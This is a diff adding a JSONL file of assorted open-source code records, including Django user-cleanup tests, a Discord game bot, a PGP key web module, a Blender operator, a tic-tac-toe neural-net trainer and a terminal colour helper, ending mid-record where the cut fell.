diff --git "a/2553.jsonl" "b/2553.jsonl"
new file mode 100644--- /dev/null
+++ "b/2553.jsonl"
@@ -0,0 +1,622 @@
+{"seq_id":"152669768","text":"#!/usr/bin/env python\n\nfrom setuptools import setup, find_packages\nimport io\n\nwith open('./requirements.txt') as reqs_txt:\n    requirements = [line for line in reqs_txt]\n\nsetup(\n    name='py-common',\n    version='1.5.0',\n    description=\"Python common SDKs for Arxanchain.\",\n    long_description=io.open('README.md', encoding='utf-8').read(),\n    url='https://github.com/arxanchain/py-common/',\n    download_url='https://github.com/arxanchain/py-common/',\n    packages=find_packages(),\n    platforms='any',\n    install_requires=requirements,\n    include_package_data=True,\n    zip_safe=False,\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"295209675","text":"\"\"\"\nTests for `tasks.py`.\n\"\"\"\n\nimport datetime\n\nimport freezegun\nfrom django.test import TestCase\n\nfrom user.backend import models, tasks\nfrom user.backend.tests import factories\n\n\nclass DeactivateUnverifiedUsersTest(TestCase):\n    def setUp(self):\n        super().setUp()\n        self.now = datetime.datetime.now()\n        self.older_than = 7\n\n    def test_deactivate_unverified_users(self):\n        # A user just now registered.\n        with freezegun.freeze_time(self.now):\n            self.new_user = factories.UnverifiedUserFactory()\n        # A user exists from some time ago and is eligible to be deactivated.\n        with freezegun.freeze_time(self.now - datetime.timedelta(days=self.older_than + 1)):\n            self.old_user = factories.UnverifiedUserFactory()\n\n        # Both users are currently unverified.\n        assert models.UnverifiedUser.objects.count() == 2\n        assert models.DeactivatedUser.objects.count() == 0\n\n        # Run job to make the older user deactivated. They will both still remain unverified.\n        tasks.deactivate_unverified_users.delay(older_than=self.older_than)\n\n        # Confirm both are unverified but one user is now deactivated, and that is the older user.\n        assert list(models.UnverifiedUser.objects.order_by(\"created\")) == [self.old_user, self.new_user]\n        assert models.DeactivatedUser.objects.get() == self.old_user.user.deactivated\n\n    def test_deactivate_unverified_users_none(self):\n        \"\"\"No unverified users exist at all and thus nothing happens.\"\"\"\n        assert models.UnverifiedUser.objects.count() == 0\n        assert models.DeactivatedUser.objects.count() == 0\n        tasks.deactivate_unverified_users.delay(older_than=self.older_than)\n        assert models.UnverifiedUser.objects.count() == 0\n        assert models.DeactivatedUser.objects.count() == 0\n\n    def test_deactivate_unverified_users_none_before_cutoff(self):\n        \"\"\"No unverified users exist before the cutoff and thus noone is deactivated.\"\"\"\n        # A user just now registered.\n        with freezegun.freeze_time(self.now):\n            self.new_user = factories.UnverifiedUserFactory()\n        # A user exists from some time ago, but is still not eligible to be deactivated.\n        with freezegun.freeze_time(self.now - datetime.timedelta(days=self.older_than - 1)):\n            self.old_but_not_that_old_user = factories.UnverifiedUserFactory()\n\n        # Both users are currently unverified.\n        assert models.UnverifiedUser.objects.count() == 2\n        assert models.DeactivatedUser.objects.count() == 0\n\n        # Run job; since both are not eligible to be deactivated, nothing should happen.\n        tasks.deactivate_unverified_users.delay(older_than=self.older_than)\n\n        # Confirm both are stil unverified and no new deactivated user exists.\n        assert list(models.UnverifiedUser.objects.order_by(\"created\")) == [\n            self.old_but_not_that_old_user,\n            self.new_user,\n        ]\n        assert models.DeactivatedUser.objects.count() == 0\n\n\nclass DeleteDeactivatedAndUnverifiedUsersTest(TestCase):\n    def setUp(self):\n        super().setUp()\n        self.now = datetime.datetime.now()\n        self.older_than = 30\n\n    def test_delete_deactivated_and_unverified_users(self):\n        with freezegun.freeze_time(self.now):\n            self.verified_user = factories.MslmUserFactory()\n            self.unverified_user = factories.UnverifiedUserFactory()\n        with freezegun.freeze_time(self.now - datetime.timedelta(days=self.older_than + 1)):\n            self.deactivated_user = factories.DeactivatedUserFactory()\n            self.deactivated_and_unverified_user = factories.DeactivatedUserFactory()\n            factories.UnverifiedUserFactory(user=self.deactivated_and_unverified_user.user)\n\n        # 1 verified (A), 1 unverified (B), 1 deactivated (C), 1 deactivated and unverified (D).\n        assert models.MslmUser.objects.count() == 4\n        # B and D.\n        assert models.UnverifiedUser.objects.count() == 2\n        # C and D.\n        assert models.DeactivatedUser.objects.count() == 2\n        # D.\n        assert models.MslmUser.objects.filter(unverified__isnull=False, deactivated__isnull=False).count() == 1\n\n        tasks.delete_deactivated_and_unverified_users.delay(older_than=self.older_than)\n\n        # 1 verified (A), 1 unverified (B), 1 deactivated (C).\n        assert models.MslmUser.objects.count() == 3\n        # B.\n        assert models.UnverifiedUser.objects.count() == 1\n        # C.\n        assert models.DeactivatedUser.objects.count() == 1\n        # D is gone.\n        assert models.MslmUser.objects.filter(unverified__isnull=False, deactivated__isnull=False).count() == 0\n        # Confirming that it is only D that's gone.\n        with self.assertRaises(models.MslmUser.DoesNotExist):\n            self.deactivated_and_unverified_user.user.refresh_from_db()\n","sub_path":"user/backend/tests/test_tasks.py","file_name":"test_tasks.py","file_ext":"py","file_size_in_byte":4879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"288259340","text":"\"\"\"\n    Starts and rallies games\n\"\"\"\n\nimport discord\nimport asyncio\nimport json\nfrom discord.ext import commands\nfrom chowder import chowder_cog\n\nwith open(\"games/game_config.json\", \"r\") as read_file:\n    config = json.load(read_file)\n    game_config = config[\"games\"]\n\nclass GameCog(commands.Cog):\n    def __init__(self, bot):\n        self.bot = bot\n        self.in_game = False\n        self.current_game = None\n\n    async def rally(self, ctx, game, initiator):\n        \"\"\"Rallies people for a game.\"\"\"\n        await self.set_game_status(game)\n\n        message = await ctx.send(\"Yo, **\" + initiator.mention + \"** is tryna play **\" + game + \"**. React here with \" + game_config[game][\"emote\"] + \" in the next \" + str(game_config[game][\"wait_time\"]) + \" seconds if you're in\")\n        await message.add_reaction(game_config[game][\"emote\"])\n\n        # Wait for people to join\n        await asyncio.sleep(game_config[game][\"wait_time\"])\n\n        # If the game was stopped while rallying, end\n        if not self.in_game:\n            return\n\n        message = await ctx.channel.fetch_message(message.id)\n        reaction = discord.utils.find(lambda r: str(r.emoji) == game_config[game][\"emote\"], message.reactions)\n\n        players = await reaction.users().flatten()\n        players.remove(self.bot.user)\n        if initiator not in players:\n            players.append(initiator)\n\n        if len(players) < game_config[game][\"min_players\"]:\n            await ctx.send(\"Dead game, we need at least \" + str(game_config[game][\"min_players\"]) + \" people\")\n            await self.clear_game_status()\n            return\n\n        return players\n\n    @commands.group(name=\"play\", brief=\"Initiates a game.\")\n    async def play(self, ctx, game):\n        if ctx.channel.id not in config[\"channels\"] or ctx.author == self.bot.user:\n            return\n\n        if not game:\n            await ctx.send(\"Uhh hello? What game \" + chowder_cog.get_condescending_name() + \"?\")\n            return\n\n        games = game_config.keys()\n        if game not in games:\n            await ctx.send(\"Wtf is \" + game + \"? I only know these games: \" + ', '.join([g for g in games]))\n            return\n\n        initiator = ctx.author\n        start_req = game_config[game][\"start_req\"]\n        if initiator.top_role.position < start_req:\n            await ctx.send(\"Sorry \" + chowder_cog.get_condescending_name() + \", you're not high enough rank to start a game of \" + game + \". Try getting promoted.\")\n            return\n        if self.in_game:\n            await ctx.send(\"Sorry \" + chowder_cog.get_condescending_name() + \", I'm in a game of \" + self.current_game + \" already\")\n            return\n\n        players = await self.rally(ctx, game, initiator)\n\n        # TODO actually start the game\n\n    @commands.command(name=\"stop\", brief=\"Stops game if there's a game in progress.\")\n    async def stop(self, ctx):\n        if ctx.channel.id not in config[\"channels\"] or ctx.author == self.bot.user:\n            return\n\n        if not self.in_game:\n            await ctx.send(\"Stop what? I'm not doing anything \" + chowder_cog.get_condescending_name())\n            return\n        \n        game = self.current_game\n\n        if ctx.author.top_role.position < game_config[game][\"stop_req\"]:\n            await ctx.send(\"Sorry \" + chowder_cog.get_condescending_name() + \", you're not high enough stop a game of \" + game + \". Try getting promoted.\")\n            return\n\n        await ctx.send(\"Rip \" + game)\n        await self.clear_game_status()\n\n\n    async def clear_game_status(self):\n        self.in_game = False\n        self.current_game = None\n        await self.bot.change_presence(activity=None)\n\n    async def set_game_status(self, game):\n        self.in_game = True\n        self.current_game = game\n        await self.bot.change_presence(activity=discord.Game(name=game))\n\ndef setup(bot):\n    bot.add_cog(GameCog(bot))","sub_path":"games/game_cog.py","file_name":"game_cog.py","file_ext":"py","file_size_in_byte":3885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"304401360","text":"\"\"\"!\n\\file greektext.py\n\nRepresents a brut greek text object. Greek Text is considered at document level\n\"\"\"\n# simple text object\n\nfrom typing import List, Dict\nimport os\nimport pdb\nimport re\n\nfrom agsearch.textinfo import TextInfo\nfrom agsearch.terminfo import TermInfo\nfrom agsearch.utils import DATA_DIR\nfrom agsearch.utils import PUNCTUATIONS\nfrom agsearch.greekprocessing import GreekProcessing\nfrom greek_accentuation.characters import base\nfrom cltk.stop.greek.stops import STOPS_LIST\nfrom cltk.corpus.greek.alphabet import filter_non_greek\n\n\nclass GreekText:\n    \"\"\"!\n    \\brief Document object that contains text string\n    \"\"\"\n\n    def __init__(\n        self, chunks: List[str], has_chunks: bool, is_clean: bool, text_id: str\n    ):\n        \"\"\"!\n        \\brief Constructor for text/document object\n        \"\"\"\n\n        ## chunks of strings attributed to text.\n        self.chunks = chunks\n\n        ## whether text has a single chunk or multiple chunks\n        self.has_chunks = has_chunks\n\n        ## whether text is cleaned up before considered as a valid document\n        self.is_clean = is_clean\n\n        ## a unique identifier for the text in the collection\n        self.text_id = text_id\n\n        ## term frequency dictionary for document\n        self.term_freq: Dict[str, int] = {}\n\n    @classmethod\n    def get_terms(cls, chunks: List[str], sep: str) -> Dict[str, int]:\n        \"\"\"!\n        \\brief Obtain term count from given chunks.\n\n        \\param chunks a set of text parts.\n        \\param sep separator for text inside chunk\n\n        We strip each term using sep and for each resulting non empty string we\n        increment its slot in terms dictionary\n        \"\"\"\n        terms: Dict[str, int] = {}\n        for chunk in chunks:\n            chunk_terms = [t.strip() for t in chunk.split(sep) if t]\n            for t in chunk_terms:\n                if t in terms:\n                    terms[t] += 1\n                else:\n                    terms[t] = 1\n        return terms\n\n    @classmethod\n    def from_info(cls, info: TextInfo, chunk_sep: str = \" \"):\n        \"\"\"!\n        \\brief create text from text info\n\n        \\param info info we are going to use for creating text\n        \\param chunk_sep we assume that text inside chunk is separated by space\n\n        Create a text/document from given text info\n        \"\"\"\n        text_id = info.text_id\n        text_path = os.path.join(DATA_DIR, info.local_path)\n        text: str = GreekProcessing.read_text(text_path)\n        greek_processor = GreekProcessing(text)\n        text = greek_processor.clean_text(text)\n        terms: Dict[str, int] = {}\n        chunks: List[str] = []\n        if info.has_chunks:\n            chunks = text.split(info.chunk_separator)\n            chunks = [greek_processor.clean_chunk(c) for c in chunks if c]\n            terms = cls.get_terms(chunks, chunk_sep)\n        else:\n            chunks = [text]\n            chunks = [greek_processor.clean_chunk(c) for c in chunks if c]\n            terms = cls.get_terms(chunks, chunk_sep)\n        #\n        text_obj = Text(\n            chunks=chunks, has_chunks=info.has_chunks, is_clean=True, text_id=text_id\n        )\n        text_obj.term_freq = terms\n        return text_obj\n\n    def to_doc_counts(self) -> Dict[str, Dict[str, int]]:\n        \"\"\"!\n        \\brief obtain doc per term count from term frequency dict\n\n        From term frequency dictionary which contains term frequencies per\n        document, we obtain document per term count.\n        \"\"\"\n        term_doc_id_counts: Dict[str, Dict[str, int]] = {}\n        for term, count in self.term_freq.items():\n            doc_id_count = {self.text_id: count}\n            term_doc_id_counts[term] = doc_id_count\n        return term_doc_id_counts\n","sub_path":"agsearch/greektext.py","file_name":"greektext.py","file_ext":"py","file_size_in_byte":3743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"426332252","text":"\"\"\"\nPGP\n\n\"\"\"\n\nimport re\n\nimport canopy\nimport gnupg\nimport web\n\n__all__ = [\"get_keys\", \"get_key\"]\n\n\napp, kv, sql, view = canopy.branch(__name__, __doc__, keyid=r\"[\\dA-F]{16}\")\nkv.define({\"keys:{keyid}\": \"hash\"})\ngpg = gnupg.GPG(gnupghome=str(canopy.tree / \"trunk/security/pgp\"))\ngpg.encoding = \"utf-8\"\n\n\ndef get_keys():\n    \"\"\"\"\"\"\n    keys = {}\n    for key in gpg.list_keys():\n        key[\"name\"], key[\"email\"] = re.fullmatch(r\"(.+) <(.+)>\",\n                                                 key[\"uids\"][0]).groups()\n        # key[\"name\"], key[\"modifier\"], key[\"email\"] = \\\n        #     re.fullmatch(r\"(.+) \\((.+)\\) <(.+)>\", key[\"uids\"][0]).groups()\n        keys[key[\"keyid\"]] = key\n    return keys\n\n\ndef get_key(keyid):\n    \"\"\"\"\"\"\n    return gpg.export_keys(keyid)\n\n\n@app.route(r\"\")\nclass PGP:\n\n    def GET(self):\n        return view.index(self.delegate(Sign), self.delegate(Keys))\n\n\n@app.route(r\"sign\")\nclass Sign:\n\n    private = True\n\n    def GET(self):\n        payload = web.form(payload=None).payload\n        signature = None\n        if payload:\n            signature = gpg.sign(payload)\n        return view.sign(payload, signature, get_keys())\n\n\n@app.route(r\"keys\")\nclass Keys:\n\n    def GET(self):\n        return view.keys(get_keys())\n\n    def POST(self):\n        form = web.form(\"key_type\", \"key_length\")\n        details = {\"name_real\": canopy.kvdb[\"name\"],\n                   \"name_comment\": canopy.kvdb[\"host\"],\n                   \"name_email\": canopy.epiphytes[\"Email\"].get_address(),\n                   \"key_type\": form.key_type,\n                   \"key_length\": int(form.key_length)}\n        keyid = gpg.gen_key(gpg.gen_key_input(**details))  # type: gnupg.GenKey\n        raise web.Created(view.key_created(keyid),\n                          \"/security/pgp/keys/{}\".format(keyid))\n\n\n@app.route(r\"keys/{keyid}\")\nclass Key:\n\n    def GET(self):\n        return view.key(get_keys()[self.keyid],\n                        self.delegate(KeyData, shift_headers=False))\n\n\n@app.route(r\"keys/{keyid}.asc\")\nclass KeyData:\n\n    public = True\n\n    def GET(self):\n        return get_key(self.keyid)\n\n\n# @app.route(r\"lookup\")\n# class Lookup:\n#\n#     def GET(self):\n#         op = web.form(\"op\").op.strip(\"_\")\n#         try:\n#             handler = getattr(self, op)\n#         except AttributeError:\n#             raise web.BadRequest(\"operation `{}` not supported\".format(op))\n#         return handler()\n#\n#     def get():\n#         \"\"\"\n#         The \"get\" operation requests keys from the keyserver.  A string that\n#         specifies which key(s) to return is provided in the \"search\"\n#         variable.\n#\n#         The response to a successful \"get\" request is a HTTP document\n#         containing a keyring as specified in RFC-2440 [4], section 11.1, and\n#         ASCII armored as specified in section 6.2.\n#\n#         The response may be wrapped in any HTML or other text desired, except\n#         that the actual key data consisting of an initial line break, the\n#         \"-----BEGIN PGP PUBLIC KEY BLOCK-----\" header, the armored key data\n#         itself, the \"-----END PGP PUBLIC KEY BLOCK-----\" header, and a final\n#         line break MUST NOT be modified from the form specified in [4].\n#\n#         If no keys match the request, the keyserver should return an\n#         appropriate HTTP error code such as 404 (\"Not Found\").\n#\n#         \"\"\"\n#         search = flask.request.args.get('search', None)\n#         if search is None:\n#             resp = flask.make_response(\"Missing required search parameter\",\n#                                        500)\n#             return resp\n#\n#         search = clean_search(search)\n#\n#         # Require that the search term is a fingerprint/key id\n#         # (filter out fulltext matches against uid fields for this method).\n#         try:\n#             match = ctx.get_key(search)\n#         except gpgme.GpgmeError:\n#             match = None\n#\n#         if match is None:\n#             return flask.make_response(\"No key matching \"\n#                                        \"search={}\".format(search), 404)\n#\n#         keydata = BytesIO()\n#         ctx.export(search, keydata)\n#\n#         if keydata:\n#             resp = flask.make_response(keydata.getvalue(), 200)\n#             resp.mimetype=\"text/plain\"\n#             return resp\n#\n#         return flask.make_response(\"No key matching search=%s\" % (search),\n#                                    404)\n#\n#     def index():\n#         \"\"\"\n#         The \"index\" operation requests a list of keys on the keyserver that\n#         match the text or key ID in the \"search\" variable.  Historically, the\n#         \"index\" operation returned a human readable HTML document containing\n#         links for each found key, but this is not required.\n#\n#         If the \"index\" operation is not supported, the keyserver should\n#         return an appropriate HTTP error code such as 501 (\"Not\n#         Implemented\").\n#\n#            \"\"\"\n#         search = flask.request.args.get('search', None)\n#         if search is None:\n#             resp = flask.make_response(\"Missing required argument: search\",\n#                                        400)\n#             return resp\n#\n#         search = clean_search(search)\n#\n#         if len(search) < 4:\n#             resp = flask.make_response(\"Search must be at least \"\n#                                        \"four characters\", 500)\n#             return resp\n#\n#         matches = []\n#         for k in ctx.keylist():\n#             match_uid = False\n#             for uid in k.uids:\n#                 if search in uid.uid.upper():\n#                     match_uid = True\n#                     break\n#\n#             for subkey in k.subkeys:\n#                 if match_uid or search in subkey.fpr:\n#                     matches.append(str(subkey.fpr))\n#\n#         if matches:\n#             resp = flask.make_response(\"\\n\".join(matches), 200)\n#             resp.mimetype=\"text/plain\"\n#             return resp\n#\n#         return flask.make_response(\"No keys matching search \"\n#                                    \"request: {}\".format(search), 404)\n#\n#     @staticmethod\n#     def vindex():\n#         \"\"\"\n#         The `vindex` operation is similar to `index` in that it provides a\n#         list of keys on the keyserver that match the text of key ID in the\n#         `search` variable.  Historically, a `vindex` response was the same\n#         as `index` with the addition of showing the signatures on each key,\n#         but this is not required.\n#\n#         \"\"\"\n#         raise web.NotImplemented(\"VIndex search is not supported.\")\n#\n#\n# @app.route(r\"add\")\n# class Add:\n#\n#     def POST(self):\n#         \"\"\"\n#         store the urlencoded ASCII armored keyring(s) provided in `keytext`\n#\n#         \"\"\"\n#         keytext = web.form(\"keytext\").keytext\n#         gpg.import_keys(keytext)\n#         raise web.Created(\"key(s) added\")\n","sub_path":"canopy_security/pgp/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"466667197","text":"import bpy\r\n\r\n\r\nclass HOPS_OT_MOD_Weighted_Normal(bpy.types.Operator):\r\n    bl_idname = \"hops.mod_weighted_normal\"\r\n    bl_label = \"Add Weighted Normal Modifier\"\r\n    bl_options = {'REGISTER', 'UNDO'}\r\n    bl_description = \"\"\"LMB - Add Weighted Normal Modifier\r\nLMB + CTRL - Add new Weighted Normal Modifier\r\n\r\n\"\"\"\r\n\r\n    @classmethod\r\n    def poll(cls, context):\r\n        selected = context.selected_objects\r\n        for obj in selected:\r\n            return getattr(obj, \"type\", \"\") == \"MESH\"\r\n\r\n    def invoke(self, context, event):\r\n        for object in context.selected_objects:\r\n            if event.ctrl:\r\n                self.add_normal_modifier(object)\r\n            else:\r\n                if not self.normal_modifiers(object):\r\n                    self.add_normal_modifier(object)\r\n        return {\"FINISHED\"}\r\n\r\n    @staticmethod\r\n    def normal_modifiers(object):\r\n        return [modifier for modifier in object.modifiers if modifier.type == \"WEIGHTED_NORMAL\"]\r\n\r\n    def add_normal_modifier(self, object):\r\n        object.modifiers.new(name=\"Weighted Normal\", type=\"WEIGHTED_NORMAL\")\r\n        object.modifiers[\"Weighted Normal\"].keep_sharp = True\r\n","sub_path":"All_In_One/addons/HOps/operators/modifiers/weighted_normal.py","file_name":"weighted_normal.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"224761760","text":"import evolutionGen\nimport Morpion\nfrom random import *\nimport numpy\nimport time\nimport copy\nimport matplotlib.pyplot as plt\n# Just disables the warning, doesn't enable AVX/FMA\n#import os\n#os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\n\nentree = numpy.ndarray(shape=(4, 1),\n                     dtype=numpy.float32)\n\nsortie = numpy.ndarray(shape=(4, 1),\n                     dtype=numpy.float32)\n\nentree[0] = [1]\nentree[1] = [0.5]\nentree[2] = [0]\nentree[3] = [0.1]\n#entree[4] = [0.8,0.4]\n#entree[5] = [0.12,0.56]\n\nsortie[0] = [0.5]\nsortie[1] = [0.5]\nsortie[2] = [1]\nsortie[3] = [0.8]\n#sortie[4] = [0.8,0.4]\n#sortie[5] = [0.12,0.56]\n\n#Init \ntest = evolutionGen.evolutionGen(20,9,9)\nmonMorpion = Morpion.Morpion()\n#Série de tests\n\n\n#Test apprentissage règles\nlistePieceOutput = []\nlistePieceInput = []\n\n#listeTest = []\n\nactionIASimulee = numpy.ndarray(shape=(9, 1),\n                    dtype=numpy.float32)\n\nlossValues = []\ncategorical_accuracyValues = []\n\nactionIASimulee = numpy.zeros(9)\n#test.listeIA[0].reseau.load_weights('morpionIA_1.h5')\nif(False):\n    \n    monMorpion.simulationPartie(listePieceInput,listePieceOutput,3000)\n    for i in range(200):\n        #On feed l'IA avec un des move possibles\n        history = test.listeIA[0].reseau.fit(numpy.asarray(listePieceInput),numpy.asarray(listePieceOutput),epochs=10,verbose=1)\n\n        # Plot training & validation accuracy values\n        fig, ax1 = plt.subplots()\n            \n        ax2 = ax1.twinx()\n        lossValues = lossValues + (copy.copy(history.history['loss']))\n        categorical_accuracyValues = categorical_accuracyValues + (copy.copy(history.history['categorical_accuracy']))\n        ax1.plot(lossValues, 'g-')\n        ax2.plot(categorical_accuracyValues, 'b-')\n        ax1.set_xlabel('Epochs')\n        ax1.set_ylabel('loss')\n        ax2.set_ylabel('categorical_accuracy')\n        plt.savefig('Train_.png')\n        plt.close()\n\n\n        test.listeIA[0].reseau.save_weights('morpionIA_1.h5')\n\n        #On test l'IA\n        result = test.listeIA[0].reseau.predict(numpy.asarray(listePieceInput))\n\n        cnt_error = 0\n        result = result.tolist()\n        #listePieceOutput = listePieceOutput.tolist()\n\n        for k in range(len(listePieceInput)):\n            temp_1 = result[k]\n            temp_2 = listePieceOutput[k].tolist()\n            if(temp_1.index(max(temp_1)) != temp_2.index(max(temp_2))):\n                cnt_error+=1\n\n        print(\"Error :\" + str(cnt_error) + \" / \" + str(len(listePieceInput)) + \" soit \" + str( (cnt_error/len(listePieceInput)) * 100.0) + \"% d'erreur\")\n\n\ncntScoreIA_old = 0\nwhile(1):\n\n    #t_start = time.time()\n\n    #for i in range(entree.shape[0]-1):\n\n    #    test.result(entree[i],sortie[i])\n        \n    #    test.tracerCourbe()\n\n\n    \n\n    for J1 in range(len(test.listeIA)):\n        for J2 in range(len(test.listeIA)):\n            #On check si les joueurs sont bien différents\n            if(J1 != J2):\n                #La partie ne s'arrête que quand le flag est passé à True\n                while(monMorpion.finPartie == False):\n                    #Tour J1\n                    result = monMorpion.tourJ_UN(test.listeIA[J1].result(numpy.asarray(monMorpion.getListePionJ_UN())))                    #Un mauvais déplacement est compté négativement\n                    if(result == -2):\n                        test.listeIA[J1].score += -20\n                        monMorpion.finPartie = False\n                        #On passe à la partie suivante\n                        break\n                    #partie gagnée\n                    elif(result == 1):\n                        test.listeIA[J1].score += 100\n                        #Partie perdue pour le J2\n                        test.listeIA[J2].score += -10\n                    else:\n                        #Chaque tour bien joué est récompensé\n                        test.listeIA[J1].score += 10\n                    #Tour J2\n                    result = monMorpion.tourJ_DEUX(test.listeIA[J2].result(numpy.asarray(monMorpion.getListePionJ_DEUX())))                    #Un mauvais déplacement est compté négativement\n                    if(result == -2):\n                        test.listeIA[J2].score += -20\n                        monMorpion.finPartie = False\n                        #On passe à la partie suivante\n                        break\n                    #partie gagnée\n                    elif(result == 1):\n                        test.listeIA[J2].score += 100\n                        #Partie perdue pour le J1\n                        test.listeIA[J1].score += -10\n                    else:\n                        #Chaque tour bien joué est récompensé\n                        test.listeIA[J2].score += 10\n                #Partie suivante\n                monMorpion.initPartie()\n\n    if(test.newGen() == -1):\n        break\n    #save meilleure IA\n    test.listeMeilleurIA[0].reseau.save_weights('morpionBestIA.h5')\n\n    #On teste notre meilleure IA\n    cntVictoireIA = 0\n    cntVictoireJ2 = 0\n    cntMauvaisDeplacement = 0\n    cntBonDeplacement = 0\n    #On save les moves\n    listeMoveJ1J2 = []\n    cnt = 1\n    for i in range(100): #On fait 10 parties\n        #La partie ne s'arrête que quand le flag est passé à True\n        while(monMorpion.finPartie == False):\n            #Tour J1\n            result = monMorpion.tourJ_UN(copy.copy(test.listeIA[0].result(numpy.asarray(monMorpion.getListePionJ_UN()))))                    #Un mauvais déplacement est compté négativement\n            listeMoveJ1J2.append(copy.copy(monMorpion.getListePionJ_UN()))\n            if(result == -2):\n                cntMauvaisDeplacement += 1\n                monMorpion.finPartie = False\n                #On passe à la partie suivante\n                break\n            #partie gagnée\n            elif(result == 1):\n                cntVictoireIA += 1\n            else:\n                cntBonDeplacement += 1\n\n            #Tour J2\n\n            move = monMorpion.getAllMovePossible()\n\n            #Dans le cas où aucuns déplacement n'est possible\n            if(len(move) == 0):\n                break\n            moveChoisi = move[randint(0,len(move)-1)]\n            #On max l'index du move\n            actionIASimulee[moveChoisi] = 1.0\n            #On fait le move\n            result = monMorpion.tourJ_DEUX(copy.copy(actionIASimulee))\n            listeMoveJ1J2.append(copy.copy(monMorpion.getListePionJ_UN()))\n\n            if(result == 1):\n                cntVictoireJ2 += 1\n            #On min l'index du move\n            actionIASimulee[moveChoisi] = 0.0\n\n        #Fin de partie\n        #Partie suivante\n        monMorpion.enregistrerPartie(numpy.asarray(listeMoveJ1J2),\"Partie_.txt\",cnt)\n        listeMoveJ1J2.clear()\n        cnt += 1\n        monMorpion.initPartie()\n    cntScoreIA = (100 * cntVictoireIA) + cntBonDeplacement - (cntMauvaisDeplacement * 1) \n    if(cntScoreIA_old < cntScoreIA):\n        print(\"Meilleure IA !!!!\")\n        cntScoreIA_old = copy.copy(cntScoreIA)\n        test.listeIA[0].score = copy.copy(test.listeMeilleurScore[0]+10)\n        test.listeMeilleurIA.insert(0,copy.copy(test.listeIA[0]))\n        test.listeIA[0].score = 0\n        test.listeMeilleurIA.pop()\n        test.listeMeilleurScore.insert(0,copy.copy(test.listeMeilleurScore[0]+10))\n        test.listeMeilleurScore.pop()\n\n        test.listeIA[0].reseau.save_weights('morpionBestIA_TEST.h5')\n\n\n    #On affiche les résultats\n    print(\"Victoire IA :\" + str(cntVictoireIA) + \"/100\" + \" Victoire J2 :\" + str(cntVictoireJ2) + \"/100\" + \" Parties nulles : \" + str(100-(cntVictoireIA+cntVictoireJ2)))\n    print(\"Bon move : \" + str(cntBonDeplacement) + \"/\" + str(cntBonDeplacement+cntMauvaisDeplacement) + \" Mauvais move :\" + str(cntMauvaisDeplacement) )\n    test.tracerCourbe()\n\n    \n\n    #t_stop = time.time()\n    #delta_time = t_stop - t_start\n    #print(\"Time_tot : \" + str(delta_time) + \"\\n\")\n\n","sub_path":"Resultats/PythonApplicationEvolutionGen.py","file_name":"PythonApplicationEvolutionGen.py","file_ext":"py","file_size_in_byte":7864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"583474402","text":"from importing_modules import *\napp = Flask(__name__)\n\nglobal players, rooms\n\nplayers = []\nrooms   = {}\nroom_json = json.load(open(\"template_room.json\"))\nuser_json = json.load(open(\"template_user.json\"))\n\n@app.route('/')\ndef root():\n    return(\"Project root\")\n\n@app.route('/get-user-id', methods=['POST'])\ndef get_user_id():\n    while True:\n        player_id = random.randint(0, 100)\n        if player_id not in players:\n            players.append(player_id)\n        else: break\n    return(jsonify(\n        USER_ID=player_id\n))\n\n@app.route('/create', methods=['POST'])\ndef create_root():\n    data = request.args\n    if (not data or not data['user_id']): abort(400, 'User id not found')\n    else: user_id = data['user_id']\n    while True:\n        room_id = random.randint(0, 100)\n        if room_id not in rooms.keys():\n            rooms[room_id] = dict(room_json)\n            rooms[room_id]['id'] = room_id\n            break # Create function to enter new room\n    return(jsonify(\n        rooms[room_id]\n    ))\napp.run()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"247755361","text":"import sys, getopt,platform\n\nclass Colours:\n    normal = u\"\\u001b[0m\"\n    \n    def __init__(self):\n        g = []\n        for i in range(0, 16):\n            for j in range(0, 16):\n                code = str(i * 16 + j)\n                ll = u\"\\u001b[38;5;\" + code + \"m\"\n                g.append(ll)\n        for i in range(0, 16):\n            for j in range(0, 16):\n                code = str(i * 16 + j)\n                ll = u\"\\u001b[48;5;\" + code + \"m\"\n            g.append(ll)\n        self.all_colours = g\n        dict1 = {}\n        for x in self.all_colours:\n            i+=1\n            dict1[i] = x\n        self.colours = dict1\n        ms = {\n            \"green\":dict1[62],\n            \"red\":dict1[212],\n            \"pink\":dict1[180],\n            \"white\":dict1[31]\n        }\n        if platform.system() == \"Windows\":\n            for x in self.colours.items():\n                self.colours[x] = \"\"\n            self.normal = \"\"\n    def colours_help(self):\n        dict1 = {}\n        print(\"--------------------------------\\nUse The Responsible Number:-\\n--------------------------------\")\n        for i,x in self.colours.items():\n            dict1[i] = x\n            sys.stdout.write(x+str(i).ljust(4)+self.normal)\n        sys.stdout.write(self.normal+\"\\n\")\n    def colour(self,colour,text,**kwargs):\n        cc = \"\"\n        for key,value in kwargs.items():\n            if key == \"second\":cc = self.colours[value].replace(\" \",\"\")\n            else:continue\n        if colour > max([x for x,y in self.colours.items()]) or colour < 1:\n            raise Exception(self.colours[176]+\"Wrong Colour code\\nPlease Execute: python3 -m Colours -colour\"+self.normal)\n        \n        return cc+self.colours[colour]+text+self.normal\n\nif __name__ == \"__main__\":\n    l = sys.argv[1:]\n    if len(l)<1:print(Colours().colour(17,\"Enter -h or --help to get more info\\nEnter -c or --colours to list colours and Responsible number\"))\n    \n    try:\n        opts, args = getopt.getopt(l,\"ch\")\n    except getopt.GetoptError:\n        print(Colours().colour(17,\"Enter -h or --help to get more info\\nEnter -c or --colours to list colours and Responsible number\"))\n        sys.exit(2)\n    for opt,arg in opts:\n        \n        if opt in 